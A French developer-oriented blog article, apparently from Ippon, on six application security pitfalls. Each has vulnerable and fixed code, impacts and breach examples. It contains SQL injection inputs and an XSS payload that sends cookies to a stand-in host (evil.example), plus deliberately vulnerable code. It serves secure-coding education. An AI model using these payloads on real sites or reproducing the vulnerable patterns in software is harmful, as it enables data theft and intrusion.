La sécurité applicative, ce n'est pas qu'une affaire d'infrastructure
En 2025, l'exploitation de vulnérabilités est devenue, pour la première fois, le principal point d'entrée des brèches de sécurité. Elle dépasse désormais le vol d'identifiants, qui représente pourtant à lui seul 31 % des brèches recensées, en hausse de 55 % en un an, selon le Verizon DBIR 2026 [1]*. Une bonne partie de ces vulnérabilités ne sont pas des failles réseau ni des serveurs mal configurés : ce sont, très concrètement, des lignes de code écrites par des développeurs qui n'avaient pas forcément la sécurité en tête au moment de les écrire.
C'est une conviction qu'on porte chez Ippon : la sécurité est une composante de la qualité logicielle au même titre que la performance ou la maintenabilité, pas une case à cocher après coup.
Cet article n'est pas un cours OWASP Top 10 (Open WorldWide Application Security Project, document de référence contenant les dix catégories de vulnérabilités applicatives les plus critiques, mis à jour régulièrement). C'est une liste de 6 pièges que l'on retrouve régulièrement en mission chez nos clients, la façon de les corriger concrètement, et le moment à partir duquel ce n'est plus à vous, développeur ou développeuse, de trancher seul.
Piège 1 : l'injection SQL
Exemple de code exposant la vulnérabilité
// Spring Boot — contrôleur REST
@GetMapping("/users")
public List<User> getUsers(@RequestParam String id) {
String sql = "SELECT * FROM users WHERE id = " + id;
return jdbcTemplate.query(sql, userRowMapper);
}
Il suffit d'appeler /users?id=1 OR 1=1 pour dumper toute la table, ou /users?id=1; DROP TABLE users;-- si le driver autorise les requêtes empilées.
Cas réel : la brèche TalkTalk de 2015 (156 959 clients concernés, dont 15 656 avec des coordonnées bancaires exposées) a été causée par une injection SQL sur des pages web héritées d'une acquisition de 2009, pour laquelle un correctif était disponible depuis plus de trois ans. L'Information Commissioner's Office britannique a infligé à TalkTalk une amende record de 400 000 £, notamment parce que deux attaques exploitant la même faille avaient déjà réussi quelques mois plus tôt sans réaction de l'entreprise [2].
Remédiation possible
@GetMapping("/users")
public List<User> getUsers(@RequestParam String id) {
String sql = "SELECT * FROM users WHERE id = ?";
return jdbcTemplate.query(sql, userRowMapper, id);
}
La requête paramétrée (le ? associé à son binding, ou un ORM qui s'en charge à votre place, comme Spring Data JPA ou Hibernate) sépare clairement la requête des données. Résultat : le driver JDBC n'interprète jamais le paramètre id comme du SQL, quoi que l'utilisateur y mette.
À noter que ce type d'injection n'est pas possible avec des annotations Java telles que `@Query` (fournie par Spring Data JPA) ou `@NamedQuery` (fournie par Jakarta Persistence) : la valeur d'un attribut d'annotation doit être une expression constante évaluable à la compilation, c'est une contrainte du langage Java lui-même (JLS), pas une protection ajoutée par le framework. Il est donc structurellement impossible d'y concaténer une valeur connue seulement à l'exécution : la compilation échoue purement et simplement. On est donc contraint d'utiliser des paramètres nommés ou positionnels, liés via `@Param` ou l'ordre des arguments de méthode.
❌ @Query("SELECT * FROM Users u WHERE u.name =" + name)
✅ @Query("SELECT * FROM Users u WHERE u.name = :name")
Impact métier
Accès aux données : Lecture, modification ou suppression de données sans autorisation.
Impact client et conformité : Impact direct sur les clients finaux, sur les données sensibles stockées, et sur la conformité (le RGPD notamment, puisque des données personnelles peuvent être exfiltrées en masse).
Quand déléguer à l'équipe cybersécurité
Données sensibles et isolation incertaine : La requête touche des données financières ou de santé et vous n'êtes pas sûr du niveau d'isolation en place (multi-tenant, row-level security).
Historique de CVE sur l'abstraction : Le driver ou l'ORM utilisé a un historique de CVE sur l'échappement des paramètres. Dans ce cas, il vaut mieux vérifier la version installée avant de faire confiance à l'abstraction.
Piège 2 : XSS (Cross-Site Scripting)
Exemple de code exposant la vulnérabilité
// React
function Comment({ comment }) {
return <div dangerouslySetInnerHTML={{ __html: comment.body }} />;
}
<!-- Ou côté template serveur (Jinja2/Django) -->
<div>{{ comment.body | safe }}</div>
Si comment.body contient <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, ce script s'exécute dans le navigateur de chaque visiteur qui lit le commentaire.
Cas réel : en 2005, le ver Samy a exploité une XSS stockée sur les profils MySpace pour s'auto-répliquer, infectant plus d'un million de profils en moins de 20 heures. Son auteur, Samy Kamkar, l'avait conçu comme inoffensif (ajout automatique en ami, modification de texte), mais la démonstration a marqué les esprits : la même faille aurait permis de prendre le contrôle des comptes visités [3].
Remédiation possible
function Comment({ comment }) {
// React échappe automatiquement le contenu texte, dangerouslySetInnerHTML n'est pas nécessaire ici
return <div>{comment.body}</div>;
}
Si du HTML enrichi est réellement nécessaire (éditeur WYSIWYG, rendu de markdown, etc.), il faut passer par une bibliothèque de sanitization dédiée (DOMPurify côté client, ou une sanitization côté serveur avant stockage) plutôt que d'injecter du HTML brut :
import DOMPurify from 'dompurify';
function Comment({ comment }) {
const clean = DOMPurify.sanitize(comment.body);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Impact métier
Vol de session : Vol de cookies de session, ou de tokens d'authentification stockés en localStorage.
Usurpation d'action : Actions effectuées au nom de la victime (like, achat, modification de compte) sans qu'elle s'en rende compte.
Impact global : Comptes compromis, données utilisateur exposées, et propagation virale si le contenu XSS est stocké (on parle alors de stored XSS) et affiché à d'autres utilisateurs.
Quand déléguer à l'équipe cybersécurité
Contexte à privilèges : Le contenu utilisateur est affiché dans un contexte à privilèges (back-office admin, dashboard interne).
Rendu HTML généralisé : Le produit a besoin d'un rendu HTML riche généralisé (CMS, éditeur de contenu). Dans ce cas, la politique de sanitization mérite une revue dédiée, pas un simple patch ponctuel.
Piège 3 : secrets en dur dans le code
Exemple de code exposant la vulnérabilité
public class StripeConfig {
private static final String API_KEY = "sk_live_51Hxxxxxxxxxxxxxxxxxx";
public StripeClient createClient() {
return new StripeClient(API_KEY);
}
}
Ce commit part dans l'historique git. Même si la clé est supprimée dans un commit suivant, elle reste consultable via git log ou git show <ancien-commit>, tant que l'historique n'est pas réécrit. Un dépôt public, ou simplement une fuite d'accès à un dépôt privé, suffit à rendre cet historique exploitable.
Cas réel : la brèche Uber de 2016 a démarré par des identifiants AWS codés en dur dans un dépôt GitHub privé, découverts par des attaquants après compromission de comptes développeurs. Les identifiants d'infrastructure se trouvaient directement dans le code source [4].
Remédiation possible
@Configuration
public class StripeConfig {
@Value("${stripe.secret-key}")
private String apiKey;
@Bean
public StripeClient stripeClient() {
return new StripeClient(apiKey);
}
}
# application.properties — jamais de valeur réelle en dur, uniquement la référence à la variable d'env
stripe.secret-key=${STRIPE_SECRET_KEY}
La valeur réelle de STRIPE_SECRET_KEY est injectée au runtime, via une variable d'environnement du serveur ou du conteneur, ou via un secrets manager. Elle n'est jamais commitée dans application.properties.
Pour aller plus loin qu'un simple fichier .env, deux réflexes complémentaires : d'une part un secrets manager (Vault, AWS Secrets Manager, Doppler, entre autres) pour la rotation des secrets et l'audit des accès, et d'autre part un hook pre-commit qui scanne les patterns de secrets avant même que le commit n'existe (gitleaks, git-secrets, ou la détection de secrets intégrée à GitHub et GitLab).
Impact métier
Accès tiers non autorisé : Accès non autorisé à des services tiers payants ou sensibles.
Persistance dans l'historique : Un secret commité reste visible dans l'historique git même après suppression du fichier, sauf réécriture explicite de cet historique. Attention toutefois : cette réécriture ne suffit pas si le secret a déjà fuité, il faut aussi l'invalider.
Impact financier et partenaires : Compte de service vidé, API tierce utilisée à vos frais, données de partenaires compromises.
Quand déléguer à l'équipe cybersécurité
Secret déjà fuité : Un secret a fuité et est déjà passé en prod. Dans ce cas, l'urgence n'est pas de nettoyer git, c'est de révoquer le secret immédiatement, et de nettoyer l'historique seulement ensuite.
Accès à des données tierces : Le secret donne accès à des données de tiers (partenaires, ou clients de vos clients).
Piège 4 : dépendances vulnérables
Exemple de code exposant la vulnérabilité
<!-- pom.xml -->
<dependency>
<groupId>some.group</groupId>
<artifactId>some-lib</artifactId>
<version>1.2.3</version>
</dependency>
<!-- Ajoutée sans vérifier les CVE, jamais mise à jour, aucun scan en CI -->
Une dépendance, ou une dépendance de dépendance, avec une CVE connue et un exploit public devient une porte d'entrée que personne n'a besoin de « hacker » : le mode d'emploi est disponible en ligne.
Cas réel : la brèche Equifax (2017, 147 millions de personnes affectées) a pour cause racine une vulnérabilité connue d'Apache Struts (CVE-2017-5638), avec un correctif disponible dès mars 2017. La faille est restée exploitable dans l'infrastructure d'Equifax plusieurs mois après la publication de ce patch [5].
Remédiations possibles
<!-- pom.xml — plugin OWASP Dependency-Check (vérifier la dernière version sur Maven Central) -->
<plugin>
<groupId>org.owasp</groupId>
<!-- pinner une version explicite (vérifier la dernière sur Maven Central), pas de LATEST/RELEASE -->
<artifactId>dependency-check-maven</artifactId>
<version>13.0.0</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
mvn dependency-check:check
# Le build échoue si une dépendance a une CVE au-dessus du seuil CVSS configuré
Mieux vaut ajouter un scanner automatisé qui tourne en continu (Dependabot, Snyk, tous deux compatibles avec Maven et Gradle) plutôt qu'un scan ponctuel manuel : une CVE peut parfaitement être publiée après l'ajout initial de la dépendance, pas seulement au moment du mvn install.
L’autre remédiation possible est une recommandation plus générale, applicable sur tous nos projets : Passer régulièrement en revue ses dépendances pour supprimer celles devenues inutiles. En avoir moins permet de limiter la surface d’attaques potentielles et allège la maintenance et la veille sur le long terme.
Impact métier
Exploit accessible : L'exploit est souvent public et trivial à reproduire, sans que l'attaquant ait besoin de compétences offensives avancées.
Responsabilité engagée : L'argument « on ne savait pas » ne tient pas sur le plan légal ou de la conformité si un scanner gratuit l'avait signalé.
Impact différé : Compromission rapide de la production, souvent bien après la mise en service initiale du code, la dette de sécurité s'accumulant silencieusement entre-temps.
Quand déléguer à l'équipe cybersécurité
CVE sans correctif disponible : La CVE touche un composant en prod exposé à Internet et aucun correctif n'existe encore (0-day, ou patch non rétrocompatible).
Dépendance trop imbriquée : La dépendance vulnérable est trop profondément intégrée pour un simple bump de version, avec des breaking changes en cascade à la clé. C'est alors un sujet d'architecture, pas seulement de sécurité.
Piège 5 : la race condition sur un contrôle de droits (TOCTOU)
Exemple de code exposant la vulnérabilité
// Spring Boot — contrôleur REST
@PutMapping("/documents/{id}")
public ResponseEntity<Document> updateDocument(@PathVariable String id,
@RequestBody DocumentUpdate update) {
boolean canEdit = rightsClient.checkEditRights(currentUser(), id); // appel séparé, ex. microservice de droits
if (!canEdit) {
return ResponseEntity.status(403).build();
}
// Rien n'empêche les droits d'être révoqués, ou une autre requête de s'intercaler, ici
Document doc = documentRepository.findById(id).orElseThrow();
Document updated = documentRepository.save(update.applyTo(doc));
return ResponseEntity.ok(updated);
}
Ici, le contrôle des accès (checkEditRights) et la mise à jour effective (documentRepository.save) sont deux étapes décorrélées et non atomiques. Un attaquant peut exploiter ce laps de temps en multipliant les requêtes simultanées : l'écriture peut alors être validée alors que l'autorisation initiale n'est déjà plus d'actualité.
Le cas étendu de cette problématique est lorsque
Cas réel : en 2023, le chercheur James Kettle a mis en lumière une famille de race conditions exploitant ce décalage entre la vérification de l'état et l'exécution de l'action lors des conférences Black Hat USA et DEF CON 31 [6]. Une vulnérabilité de ce type a notamment impacté GitLab (CVE-2022-4037), nécessitant un correctif d'urgence début 2023 [7].
Remédiation possible
@Transactional
@PutMapping("/documents/{id}")
public ResponseEntity<Document> updateDocument(@PathVariable String id, @RequestBody DocumentUpdate update) { // Verrou pris dans la même transaction que la vérification et l'écriture
Document doc = documentRepository.findByIdForUpdate(id); // @Lock(PESSIMISTIC_WRITE) ou SELECT ... FOR UPDATE
if (!rightsService.hasEditRights(currentUser(), doc)) { // revérifié sous le verrou, pas avant
return ResponseEntity.status(403).build();
}
Document updated = documentRepository.save(update.applyTo(doc));
return ResponseEntity.ok(updated);
}
L'objectif est de rendre l'opération atomique en utilisant une transaction unique associée à un verrouillage (SELECT ... FOR UPDATE ou verrou distribué type Redis). L'ajout d'une clé d'idempotence permet également de sécuriser l'action en interdisant le rejeu parallèle de la même requête.
Impact métier
Escalade de privilèges silencieuse : Une opération théoriquement interdite est validée durant l’intervalle de compétition, sans générer de logs applicatifs suspects.
Détection difficile : À l’inverse d’une injection, aucune signature malveillante n’apparaît dans la requête ; seule la synchronisation temporelle des flux trahit l’attaque.
Reproductibilité : Une fois la faille localisée, l’attaque devient scriptable et industrialisable via des outils comme Turbo Intruder, garantissant une exploitation fiable.
Quand déléguer à l’équipe cybersécurité
Droits vérifiés par un service découplé : Si le contrôle dépend d’un microservice externe sans transaction partagée, un simple correctif local ne suffit plus. La synchronisation (verrou distribué ou pattern saga) devient alors un enjeu d’architecture.
Flux à fort enjeu métier : Pour des actions critiques (mouvements bancaires, promotion admin, modification d’email), l’immunité aux race conditions doit être confirmée par des tests de charge spécifiques, au-delà de la simple relecture.
Piège 6 : le décalage d'identifiant entre contrôle et action (IDOR / BOLA)
Exemple de code exposant la vulnérabilité
// Spring Boot — contrôleur REST
// l'ID ne devrait pas être ici, l'URL le porte déjà
record UserUpdate(Long id, String nom, String prenom) {}
@PutMapping("/users/{id}")
public ResponseEntity<User> updateUser(@PathVariable Long id, @RequestBody UserUpdate body) {
// contrôle sur l'ID de l'URL
if (!rightsService.canEdit(currentUser(), id)) {
return ResponseEntity.status(403).build();
}
// écriture sur l'ID du BODY, jamais comparé à celui de l'URL
User user = userRepository.findById(body.id())
.orElseThrow();
user.setNom(body.nom());
user.setPrenom(body.prenom());
userRepository.save(user);
return ResponseEntity.ok(user);
}
Le scénario est critique : un utilisateur légitime (compte 5) appelle PUT /users/5 mais injecte {"id": 1, ...} dans le corps de la requête. Le middleware de sécurité valide l'accès à la ressource 5, mais la couche de persistance traite l'identifiant du body, écrasant ainsi les données du compte 1. Contrairement aux problèmes de concurrence, cette faille est structurelle et exploitable via une simple requête dès qu'un identifiant est présent en double dans la signature de l'API.
Cas réel : en 2012, Egor Homakov a exposé cette vulnérabilité sur GitHub. Un paramètre public_key[user_id] non filtré permettait d'outrepasser l'identité de la session. En ciblant l'ID de l'organisation Rails, il a pu ajouter sa propre clé SSH et obtenir un accès total au dépôt [8]. Cette classe de vulnérabilité, où un ID client dicte la cible sans vérification croisée, est désormais un pilier de l'OWASP API Security Top 10 sous le nom de Broken Object Level Authorization (BOLA).
Remédiation possible
// L'ID est exclu du corps, seul celui de l'URL fait foi
record UserUpdate(String nom, String prenom) {}
@PutMapping("/users/{id}")
public ResponseEntity<User> updateUser(@PathVariable Long id, @RequestBody UserUpdate body) {
if (!rightsService.canEdit(currentUser(), id)) {
return ResponseEntity.status(403).build();
}
// Alignement strict sur l'ID validé
User user = userRepository.findById(id).orElseThrow();
user.setNom(body.nom());
user.setPrenom(body.prenom());
userRepository.save(user);
return ResponseEntity.ok(user);
}
La règle d'or est l'unicité de la source de vérité : une seule donnée doit désigner la ressource. Si l'ID doit persister dans le corps pour des raisons de compatibilité, un guard clause de type if (!id.equals(body.id())) doit impérativement bloquer la requête en amont. L'objectif est d'interdire toute divergence entre l'objet autorisé et l'objet réellement manipulé.
Impact métier
Prise de contrôle de compte : Détournement de profil (email, mot de passe) en exploitant l'alignement de session pour agir au nom d'un tiers.
Escalade verticale : Si le champ injecté dans le body définit des privilèges (rôle, quota), l'attaquant peut obtenir une élévation de droits complète via un ID mal vérifié.
Détection silencieuse : Aucune signature malveillante ni anomalie temporelle n'apparaît ; seule une analyse de la spécification OpenAPI ou du code source permet de déceler la faille.
Quand déléguer à l'équipe cybersécurité
Pattern d'API généralisé : La duplication de l'ID (URL et corps) est présente sur plusieurs routes. Cela nécessite un audit global de cohérence plutôt qu'une correction isolée.
Données à haut risque : La modification porte sur des soldes, des rôles ou des données réglementées. Une validation transverse des droits d'accès est alors indispensable.
Quand intervenir dans le cycle

Cette répartition varie selon l'organisation cliente : certains clients n'ont pas d'équipe cybersécurité ou infrastructure dédiée, auquel cas c'est souvent le développeur lui-même qui met en place et lance le scan avant mise en production et monitore les failles de sécurité tout au long de la vie de l’application.
Conclusion
Injection SQL, XSS, secrets en dur, dépendances vulnérables, race conditions sur un contrôle de droits : ces 6 pièges ont un point commun. Ce ne sont pas des failles d'infrastructure, ce sont des lignes de code écrites sans que la sécurité soit le premier réflexe. Les corriger relève, dans l'immense majorité des cas, des bons réflexes de développeur détaillés piège par piège plus haut, et non d'une compétence offensive avancée.
Il existe cependant un stade où corriger seul, sans revue par quelqu'un dont c'est le métier, devient une mauvaise idée : une logique métier complexe qui manipule des données sensibles (paiement, santé, identité), une implémentation crypto maison même présentée comme « juste pour du hashing » (une bibliothèque éprouvée comme bcrypt ou argon2 reste préférable à un algorithme fait maison), une architecture système sensible (authentification centralisée, gestion des droits multi-tenant), des données très confidentielles traitées en volume, ou une conformité réglementaire explicite (RGPD, SOC 2, HDS...) dont l'implémentation technique a des implications contractuelles. Passé ce stade, la question n'est plus « comment corriger », mais « qui doit valider ».
Ces 6 pièges corrigés, comment dépasser la connaissance ponctuelle et ancrer ces réflexes dans la durée ? Quelques pistes concrètes :
- OWASP Top 10, la référence incontournable pour prioriser par risque.
- Dependabot (GitHub) ou Snyk pour le scan de dépendances en continu.
- gitleaks ou git-secrets pour la détection de secrets en pre-commit.
- Scans automatiques afin de détecter les failles nouvellement créées et/ou découvertes (SonarQube dans la CI, OWASP Dependency-Check lors du build, Trivy dans l’InfraAsCode)
- Apprendre à auditer sa propre application avec des outils type Burp Suite, ZAP…
- Turbo Intruder (extension Burp Suite) ou race-the-web (open source, CLI) pour tester ses propres endpoints sensibles sous charge concurrente et détecter une race condition avant qu'un attaquant ne le fasse.
- Autorize (extension Burp Suite) ou Access Control Testing (add-on d'OWASP ZAP) pour rejouer automatiquement chaque requête avec les identifiants d'un autre compte et détecter les IDOR/BOLA avant qu'un attaquant ne le fasse.
Sources
- Verizon 2026 Data Breach Investigations Report
- UK data watchdog issues record fine for ISP TalkTalk's 2015 data breach, TechCrunch
- Cross-Site Scripting Worm Hits MySpace, BetaNews
- Uber quits GitHub for in-house code after 2016 data breach, The Register
- Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw, The Hacker News
- Smashing the state machine: the true potential of web race conditions, PortSwigger Research
- CVE-2022-4037 et Déclaration officielle de GitLab
- 2012 GitHub blog Responsible disclosure policy
* Le DBIR se concentre sur les vulnérabilités rattachables à des CVE identifiées parce que ces données sont plus faciles à normaliser entre les différentes sources contributrices, pas parce que les CVE représentent toute la surface d'attaque réelle. Le rapport 2026 note par exemple que 83 % des incidents d'escalade de privilèges de son jeu de données n'impliquaient aucune exploitation de CVE.